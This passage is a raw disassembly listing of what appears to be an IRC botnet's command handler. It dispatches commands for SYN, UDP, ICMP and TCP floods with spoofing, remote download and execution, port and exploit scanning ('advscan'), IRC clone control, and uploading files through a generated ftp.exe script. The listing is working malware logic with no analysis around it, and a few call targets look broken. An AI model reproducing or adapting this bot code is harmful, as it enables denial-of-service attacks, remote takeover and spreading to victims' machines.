		push	[ebp+var_8C]
		push	[ebp+arg_4]
		jz	short loc_411051
		push	esi
		push	eax
		push	ebx


loc_411047:				; CODE XREF: sub_40EE72+21B9j
					; sub_40EE72+21E3j
		call	sub_40DE07
		add	esp, 18h
		jmp	short loc_4110AB
; ---------------------------------------------------------------------------


loc_411051:				; CODE XREF: sub_40EE72+21D0j
		push	ebx
		push	eax
		push	2
		jmp	short loc_411047
; ---------------------------------------------------------------------------


loc_411057:				; CODE XREF: sub_40EE72+219Fj
		push	ebx
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40E337
		add	esp, 10h
		test	eax, eax
		jz	short loc_411077
		push	offset dword_4377C4
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------


loc_411077:				; CODE XREF: sub_40EE72+21FCj
		push	offset dword_437798
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------


loc_41107E:				; CODE XREF: sub_40EE72+2198j
		push	edi
		push	offset aSend	; "send"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_4110C9
		cmp	[ebp+arg_18], ebx
		jz	short loc_4110C2
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_40E5EB
		add	esp, 10h


loc_4110AB:				; CODE XREF: sub_40EE72+2119j
					; sub_40EE72+214Aj ...
		push	eax
		push	offset aS_1	; "%s"


loc_4110B1:				; CODE XREF: sub_40EE72+4854j
					; sub_40EE72+4B7Bj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0


loc_4110BD:				; CODE XREF: sub_40EE72+5703j
		add	esp, 0Ch
		jmp	short loc_4110DC
; ---------------------------------------------------------------------------


loc_4110C2:				; CODE XREF: sub_40EE72+2220j
		push	offset dword_437768
		jmp	short loc_4110CE
; ---------------------------------------------------------------------------


loc_4110C9:				; CODE XREF: sub_40EE72+221Bj
		push	offset dword_43773C


loc_4110CE:				; CODE XREF: sub_40EE72+203Bj
					; sub_40EE72+20A5j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		pop	ecx
		pop	ecx


loc_4110DC:				; CODE XREF: sub_40EE72+2043j
					; sub_40EE72+224Ej ...
		cmp	[ebp+var_8], ebx
		jnz	short loc_4110FD
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_4110FD:				; CODE XREF: sub_40EE72+226Dj
					; sub_40EE72+4849j ...
		mov	esi, [ebp+arg_24]


loc_411100:				; CODE XREF: sub_40EE72+9B3j
					; sub_40EE72+4B37j ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D
		pop	ecx
		mov	eax, esi
		jmp	loc_40F23C
; ---------------------------------------------------------------------------


loc_411114:				; CODE XREF: sub_40EE72+2020j
		push	[ebp+arg_8]
		push	offset aCom_capture ; "com.capture"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413402
		push	[ebp+arg_8]
		push	offset aCom_cap	; "com.cap"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413402
		push	[ebp+arg_8]
		push	offset aIrc_gethost ; "irc.gethost"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413314
		push	[ebp+arg_8]
		push	offset aIrc_gh	; "irc.gh"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413314
		mov	eax, [ebp+esi+var_8C]
		cmp	eax, ebx
		mov	[ebp+arg_18], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aIrc_addalias ; "irc.addalias"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132E2
		push	[ebp+arg_8]
		push	offset aIrc_aa	; "irc.aa"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4132E2
		push	[ebp+arg_8]
		push	offset aIrc_privmsg ; "irc.privmsg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41328C
		push	[ebp+arg_8]
		push	offset aIrc_pm	; "irc.pm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41328C
		push	[ebp+arg_8]
		push	offset aIrc_action ; "irc.action"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413226
		push	[ebp+arg_8]
		push	offset aIrc_ac	; "irc.ac"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413226
		push	[ebp+arg_8]
		push	offset aIrc_cycle ; "irc.cycle"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131BD
		push	[ebp+arg_8]
		push	offset aIrc_cy	; "irc.cy"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4131BD
		push	[ebp+arg_8]
		push	offset aIrc_mode ; "irc.mode"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413183
		push	[ebp+arg_8]
		push	offset aIrc_m	; "irc.m"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413183
		push	[ebp+arg_8]
		push	offset aClone_raw ; "clone.raw"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413115
		push	[ebp+arg_8]
		push	offset aClone_ra ; "clone.ra"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413115
		push	[ebp+arg_8]
		push	offset aClone_mode ; "clone.mode"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413090
		push	[ebp+arg_8]
		push	offset aClone_m	; "clone.m"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413090
		push	[ebp+arg_8]
		push	offset aClone_nick ; "clone.nick"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413024
		push	[ebp+arg_8]
		push	offset aClone_ni ; "clone.ni"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_413024
		push	[ebp+arg_8]
		push	offset aClone_join ; "clone.join"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFE
		push	[ebp+arg_8]
		push	offset aClone_j	; "clone.j"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412FFE
		push	[ebp+arg_8]
		push	offset aClone_part ; "clone.part"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F9B
		push	[ebp+arg_8]
		push	offset aClone_p	; "clone.p"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412F9B
		push	[ebp+arg_8]
		push	offset aIrc_repeat ; "irc.repeat"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ED2
		push	[ebp+arg_8]
		push	offset aIrc_rp	; "irc.rp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ED2
		push	[ebp+arg_8]
		push	offset aIrc_delay ; "irc.delay"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E35
		push	[ebp+arg_8]
		push	offset aIrc_de	; "irc.de"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412E35
		push	[ebp+arg_8]
		push	offset aDownload_updat ; "download.update"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CB1
		push	[ebp+arg_8]
		push	offset aDownload_up ; "download.up"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412CB1
		push	[ebp+arg_8]
		push	offset aCom_execute ; "com.execute"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C1E
		push	[ebp+arg_8]
		push	offset aCom_e	; "com.e"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412C1E
		push	[ebp+arg_8]
		push	offset aFindfile ; "findfile"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1D
		push	[ebp+arg_8]
		push	offset aFf	; "ff"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412B1D
		push	[ebp+arg_8]
		push	offset aCom_rename ; "com.rename"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ACB
		push	[ebp+arg_8]
		push	offset aCom_mv	; "com.mv"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_412ACB
		push	[ebp+arg_8]
		push	offset aDdos_icmp ; "ddos.icmp"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129CA
		push	[ebp+arg_8]
		push	offset aDdos_ic	; "ddos.ic"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4129CA
		mov	eax, [ebp+esi+var_88]
		cmp	eax, ebx
		mov	[ebp+arg_0], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aClone_make ; "clone.make"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128DF
		push	[ebp+arg_8]
		push	offset aClone_start ; "clone.start"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4128DF
		push	[ebp+arg_8]
		push	offset aDdos_syn ; "ddos.syn"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127DA
		push	[ebp+arg_8]
		push	offset aDdos_ack ; "ddos.ack"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127DA
		push	[ebp+arg_8]
		push	offset aDdos_random ; "ddos.random"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4127DA
		push	[ebp+arg_8]
		push	offset aDdos_synflood ;	"ddos.synflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126DC
		push	[ebp+arg_8]
		push	offset aDdos_synf ; "ddos.synf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4126DC
		push	[ebp+arg_8]
		push	offset aDownload_wget ;	"download.wget"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41259B
		push	[ebp+arg_8]
		push	offset aDownload_wg ; "download.wg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41259B
		push	[ebp+arg_8]
		push	offset aDaemon_redirec ; "daemon.redirect"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249E
		push	[ebp+arg_8]
		push	offset aDaemon_rd ; "daemon.rd"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41249E
		push	[ebp+arg_8]
		push	offset aRoot_portscan ;	"root.portscan"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123AB
		push	[ebp+arg_8]
		push	offset aRoot_ps	; "root.ps"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4123AB
		push	[ebp+arg_8]
		push	offset aClone_privmsg ;	"clone.privmsg"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122D6
		push	[ebp+arg_8]
		push	offset aClone_pm ; "clone.pm"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4122D6
		push	[ebp+arg_8]
		push	offset aClone_action ; "clone.action"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121BE
		push	[ebp+arg_8]
		push	offset aClone_ac ; "clone.ac"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_4121BE
		mov	eax, [ebp+esi+var_84]
		cmp	eax, ebx
		mov	[ebp+arg_10], eax
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aAdvscan	; "advscan"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E65
		push	[ebp+arg_8]
		push	offset aAsc	; "asc"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411E65
		push	[ebp+arg_8]
		push	offset aDdos_udpflood ;	"ddos.udpflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aDdos_udpf ; "ddos.udpf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aU	; "u"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411D42
		push	[ebp+arg_8]
		push	offset aDdos_pingflood ; "ddos.pingflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aDdos_pingf ; "ddos.pingf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aP	; "p"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411BFE
		push	[ebp+arg_8]
		push	offset aDdos_tcpflood ;	"ddos.tcpflood"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A65
		push	[ebp+arg_8]
		push	offset aDdos_tcpf ; "ddos.tcpf"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A65
		push	[ebp+arg_8]
		push	offset aUtil_email ; "util.email"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_41189C
		lea	eax, [ebp+var_3F8]
		push	edi
		push	eax
		call	sub_4179C0
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+arg_18], eax
		lea	eax, [ebp+var_DB0]
		push	eax
		call	sub_4179C0
		push	[ebp+arg_10]
		lea	eax, [ebp+var_BA8]
		push	eax
		call	sub_4179C0
		push	offset asc_42A3B4 ; " "
		push	offset a__0	; "_"
		push	[ebp+esi+var_80]
		call	sub_40A7D7
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4179C0
		add	esp, 30h
		lea	eax, [ebp+var_6EC]
		push	eax
		push	101h
		call	dword_43F5E0
		lea	eax, [ebp+var_3F8]
		push	eax
		call	dword_43F6EC
		push	6
		push	1
		push	2
		mov	edi, eax
		call	dword_43F6E8
		push	[ebp+arg_18]
		mov	esi, eax
		mov	[ebp+var_2EC], 2
		mov	eax, [edi+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]
		mov	[ebp+var_2E8], eax
		call	dword_43F668
		mov	[ebp+var_2EA], ax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_55C]
		push	eax
		lea	eax, [ebp+var_BA8]
		push	eax
		lea	eax, [ebp+var_DB0]
		push	eax
		lea	eax, [ebp+var_15B0]
		push	offset aHeloRndnickMai ; "helo $rndnick\nmail from: <%s>\nrcpt to: "...
		push	eax
		call	sub_4172B0
		add	esp, 1Ch
		lea	eax, [ebp+var_2EC]
		push	10h
		push	eax
		push	esi
		call	dword_43F610
		mov	edi, 100h
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	dword_43F680
		lea	eax, [ebp+var_CAC]
		push	ebx
		push	eax
		call	sub_417AB0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_15B0]
		push	eax
		push	esi
		call	dword_43F6B8
		push	ebx
		lea	eax, [ebp+var_CAC]
		push	edi
		push	eax
		push	esi
		call	dword_43F680
		push	esi
		call	dword_43F700
		call	dword_43F5C8
		lea	eax, [ebp+var_BA8]
		push	eax
		push	offset unk_4373F0


loc_411888:				; CODE XREF: sub_40EE72+3B53j
					; sub_40EE72+3E3Aj ...
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		jmp	loc_413A64
; ---------------------------------------------------------------------------


loc_41189C:				; CODE XREF: sub_40EE72+28C0j
		push	[ebp+arg_8]
		push	offset aUtil_httpcon ; "util.httpcon"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A34
		push	[ebp+arg_8]
		push	offset aUtil_hcon ; "util.hcon"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_411A34
		mov	esi, [ebp+esi+var_80]
		cmp	esi, ebx
		jz	loc_40F239
		push	[ebp+arg_8]
		push	offset aFtp_upload ; "ftp.upload"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	loc_414F47
		push	4
		push	esi
		call	sub_40D000
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_411906
		push	esi
		push	offset dword_437398
		jmp	loc_413BFD
; ---------------------------------------------------------------------------


loc_411906:				; CODE XREF: sub_40EE72+2A87j
		call	near ptr 25E08E4h
		nop
		push	eax
		call	sub_417302
		pop	ecx
		call	sub_41730C
		push	9
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41730C
		push	63h
		cdq
		pop	ecx
		idiv	ecx
		push	edx
		call	sub_41730C
		cdq
		mov	ecx, 3E7h
		idiv	ecx
		lea	eax, [ebp+var_CB0]
		push	edx
		push	eax
		lea	eax, [ebp+var_BAC]
		push	offset aSIII_dll ; "%s\\%i%i%i.dll"
		push	eax
		call	sub_4172B0
		lea	eax, [ebp+var_BAC]
		push	offset aAb	; "ab"
		push	eax
		call	sub_4179A8
		add	esp, 20h
		cmp	eax, ebx
		mov	[ebp+arg_24], eax
		jz	loc_40F239
		push	esi
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	offset aOpenSSSSPutSBy ; "open %s\r\n%s\r\n%s\r\n%s\r\nput %s\r\nbye\r\n"
		push	eax
		call	sub_417956
		push	[ebp+arg_24]
		call	sub_417900
		add	esp, 20h
		lea	eax, [ebp+var_BAC]
		push	eax
		lea	eax, [ebp+var_3F8]
		push	offset aSS_4	; "-s:%s"
		push	eax
		call	sub_4172B0
		add	esp, 0Ch
		lea	eax, [ebp+var_3F8]
		push	ebx
		push	ebx
		push	eax
		push	offset aFtp_exe	; "ftp.exe"
		push	offset aOpen	; "open"
		push	ebx
		call	dword_43F5DC
		test	eax, eax
		push	edi
		push	esi
		jz	short loc_4119D3
		push	offset dword_437320
		jmp	short loc_4119D8
; ---------------------------------------------------------------------------


loc_4119D3:				; CODE XREF: sub_40EE72+2B58j
		push	offset dword_4372E4


loc_4119D8:				; CODE XREF: sub_40EE72+2B5Fj
		call	sub_4172B0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_411A01
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 14h


loc_411A01:				; CODE XREF: sub_40EE72+2B71j
		lea	eax, [ebp+var_2DC]
		push	eax
		call	sub_40BF6D


loc_411A0D:				; CODE XREF: sub_40EE72+2BC0j
		lea	eax, [ebp+var_BAC]
		push	4
		push	eax
		call	sub_40D000
		add	esp, 0Ch
		test	eax, eax
		jz	loc_40F239
		lea	eax, [ebp+var_BAC]
		push	eax
		call	sub_419BBA
		jmp	short loc_411A0D
; ---------------------------------------------------------------------------


loc_411A34:				; CODE XREF: sub_40EE72+2A3Bj
					; sub_40EE72+2A52j
		push	[ebp+esi+var_80]
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		call	sub_41781F
		pop	ecx
		push	eax
		push	edi
		push	[ebp+var_8]
		push	[ebp+var_4]
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_406AF8


loc_411A5D:				; CODE XREF: sub_40EE72+587Aj
		add	esp, 24h
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_411A65:				; CODE XREF: sub_40EE72+2892j
					; sub_40EE72+28A9j
		mov	esi, 80h
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41782A
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aSyn	; "syn"
		call	sub_4176D0
		add	esp, 14h
		test	eax, eax
		jz	short loc_411AC8
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aAck	; "ack"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411AC8
		lea	eax, [ebp+var_678]
		push	eax
		push	offset aRandom	; "random"
		call	sub_4176D0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_411AC8
		push	offset dword_4372AC
		jmp	loc_4145FE
; ---------------------------------------------------------------------------


loc_411AC8:				; CODE XREF: sub_40EE72+2C1Cj
					; sub_40EE72+2C33j ...
		push	[ebp+arg_10]
		call	sub_41781F
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_570], eax
		jle	loc_411BF4
		push	edi
		lea	eax, [ebp+var_678]
		push	esi
		push	eax
		call	sub_41782A
		add	esp, 0Ch
		lea	eax, [ebp+var_6F8]
		push	[ebp+arg_18]
		push	esi
		push	eax
		call	sub_41782A
		push	[ebp+arg_0]
		call	sub_41781F
		mov	[ebp+var_574], eax
		add	esp, 10h
		xor	eax, eax
		cmp	[ebp+var_9B6], bl
		push	[ebp+var_8C]
		setnz	al
		mov	[ebp+var_56C], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_6FC], eax
		lea	eax, [ebp+var_5F8]
		push	esi
		push	eax
		call	sub_41782A
		mov	eax, [ebp+var_4]
		add	esp, 0Ch
		cmp	[ebp+var_56C], ebx
		mov	[ebp+var_568], eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_564], eax
		mov	eax, offset aSpoofed ; "Spoofed"
		jnz	short loc_411B65
		mov	eax, offset aNormal ; "Normal"


loc_411B65:				; CODE XREF: sub_40EE72+2CECj
		push	[ebp+arg_10]
		push	[ebp+arg_0]
		push	[ebp+arg_18]
		push	edi
		push	eax
		push	offset dword_437258
		lea	eax, [ebp+var_2DC]
		push	200h
		push	eax
		call	sub_41782A
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Ch
		push	eax
		call	sub_416D5C
		add	esp, 2Ch
		mov	[ebp+var_578], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_6FC]
		push	ebx
		push	eax
		push	offset sub_401D82
		push	ebx
		push	ebx
		call	near ptr 2660D4Bh
		nop
		mov	ecx, [ebp+var_578]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_411BE3


loc_411BCD:				; CODE XREF: sub_40EE72+2D6Fj
		cmp	[ebp+var_560], ebx
		jnz	loc_41460C
		push	32h
		call	near ptr 25F0439h
		nop
		jmp	short loc_411BCD
; ---------------------------------------------------------------------------


loc_411BE3:				; CODE XREF: sub_40EE72+2D59j
		call	near ptr 2630313h
		nop
		push	eax
		push	offset dword_437210
		jmp	loc_413BFD
; ---------------------------------------------------------------------------


loc_411BF4:				; CODE XREF: sub_40EE72+2C67j
		push	offset dword_4371C8
		jmp	loc_4145FE
; ---------------------------------------------------------------------------


loc_411BFE:				; CODE XREF: sub_40EE72+284Dj
					; sub_40EE72+2864j ...
		cmp	dword_43F758, ebx
		mov	esi, [ebp+arg_4]
		jnz	loc_411D09
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41781F
		push	7Fh
		mov	[ebp+var_310], eax
		push	[ebp+var_8C]
		lea	eax, [ebp+var_418]
		push	eax
		call	sub_418C10
		add	esp, 24h
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset unk_437170
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Eh
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40AF86
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_411CF8


loc_411CE6:				; CODE XREF: sub_40EE72+2E84j
		cmp	[ebp+var_2FC], ebx
		jnz	short loc_411D22
		push	32h
		call	near ptr 25F0439h
		nop
		jmp	short loc_411CE6
; ---------------------------------------------------------------------------


loc_411CF8:				; CODE XREF: sub_40EE72+2E72j
		call	near ptr 2630313h
		nop
		push	eax
		push	offset unk_437128
		jmp	loc_4128CE
; ---------------------------------------------------------------------------


loc_411D09:				; CODE XREF: sub_40EE72+2D95j
		push	1FFh
		lea	eax, [ebp+var_2DC]
		push	offset aIcmp_dllNotAva ; "ICMP.dll not available"
		push	eax
		call	sub_418C10


loc_411D1F:				; CODE XREF: sub_40EE72+3A68j
		add	esp, 0Ch


loc_411D22:				; CODE XREF: sub_40EE72+2E7Aj
					; sub_40EE72+2FD2j ...
		cmp	[ebp+var_8], ebx
		jnz	loc_414E11
		push	ebx
		push	[ebp+var_4]


loc_411D2F:				; CODE XREF: sub_40EE72+567Ej
		lea	eax, [ebp+var_2DC]
		push	eax
		push	[ebp+var_8C]
		push	esi
		jmp	loc_414629
; ---------------------------------------------------------------------------


loc_411D42:				; CODE XREF: sub_40EE72+2808j
					; sub_40EE72+281Fj ...
		mov	eax, [ebp+var_8]
		push	7Fh
		mov	[ebp+var_300], eax
		mov	eax, [ebp+var_4]
		mov	[ebp+var_304], eax
		lea	eax, [ebp+var_398]
		push	edi
		push	eax
		call	sub_418C10
		push	[ebp+arg_18]
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		push	[ebp+arg_10]
		mov	[ebp+var_314], eax
		call	sub_41781F
		mov	esi, [ebp+esi+var_80]
		add	esp, 18h
		cmp	esi, ebx
		mov	[ebp+var_310], eax
		jz	short loc_411DA7
		push	esi
		call	sub_41781F
		pop	ecx
		mov	[ebp+var_30C], eax
		jmp	short loc_411DAD
; ---------------------------------------------------------------------------


loc_411DA7:				; CODE XREF: sub_40EE72+2F24j
		mov	[ebp+var_30C], ebx


loc_411DAD:				; CODE XREF: sub_40EE72+2F33j
		push	7Fh
		lea	eax, [ebp+var_418]
		push	[ebp+var_8C]
		push	eax
		call	sub_418C10
		add	esp, 0Ch
		mov	esi, [ebp+arg_4]
		lea	eax, [ebp+var_398]
		mov	[ebp+var_41C], esi
		push	[ebp+var_310]
		push	[ebp+var_314]
		push	eax
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_318]
		push	offset dword_4370B8
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	0Fh
		push	eax
		call	sub_416D5C
		add	esp, 24h
		mov	[ebp+var_308], eax
		lea	eax, [ebp+var_10]
		push	eax
		lea	eax, [ebp+var_41C]
		push	ebx
		push	eax
		push	offset sub_40B112
		push	ebx
		push	ebx
		nop
		call	near ptr 2660D4Bh
		mov	ecx, [ebp+var_308]
		imul	ecx, 234h
		cmp	eax, ebx
		mov	dword_4450D4[ecx], eax
		jz	short loc_411E54


loc_411E3E:				; CODE XREF: sub_40EE72+2FE0j
		cmp	[ebp+var_2FC], ebx
		jnz	loc_411D22
		push	32h
		nop
		call	near ptr 25F0439h
		jmp	short loc_411E3E
; ---------------------------------------------------------------------------


loc_411E54:				; CODE XREF: sub_40EE72+2FCAj
		nop
		call	near ptr 2630313h
		push	eax
		push	offset dword_437070
		jmp	loc_4128CE
; ---------------------------------------------------------------------------


loc_411E65:				; CODE XREF: sub_40EE72+27DAj
					; sub_40EE72+27F1j
		push	8
		call	sub_416FA4
		push	[ebp+arg_18]
		mov	[ebp+arg_8], eax
		call	sub_41781F
		add	eax, [ebp+arg_8]
		pop	ecx
		pop	ecx
		cmp	eax, 258h
		jle	short loc_411EB8
		push	[ebp+arg_8]
		lea	eax, [ebp+var_2DC]
		push	offset unk_437024
		push	eax
		call	sub_4172B0
		push	ebx
		lea	eax, [ebp+var_2DC]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_8C]
		push	[ebp+arg_4]
		call	sub_40D679
		add	esp, 20h
		jmp	loc_414F47
; ---------------------------------------------------------------------------


loc_411EB8:				; CODE XREF: sub_40EE72+300Fj
		push	edi
		call	sub_41781F
		push	[ebp+arg_18]
		mov	[ebp+var_330], eax
		call	sub_41781F
		push	[ebp+arg_0]
		mov	[ebp+var_318], eax
		call	sub_41781F
		add	esp, 0Ch
		cmp	eax, 2
		mov	[ebp+var_32C], eax
		jnb	short loc_411EF1
		push	2
		pop	eax
		mov	[ebp+var_32C], eax

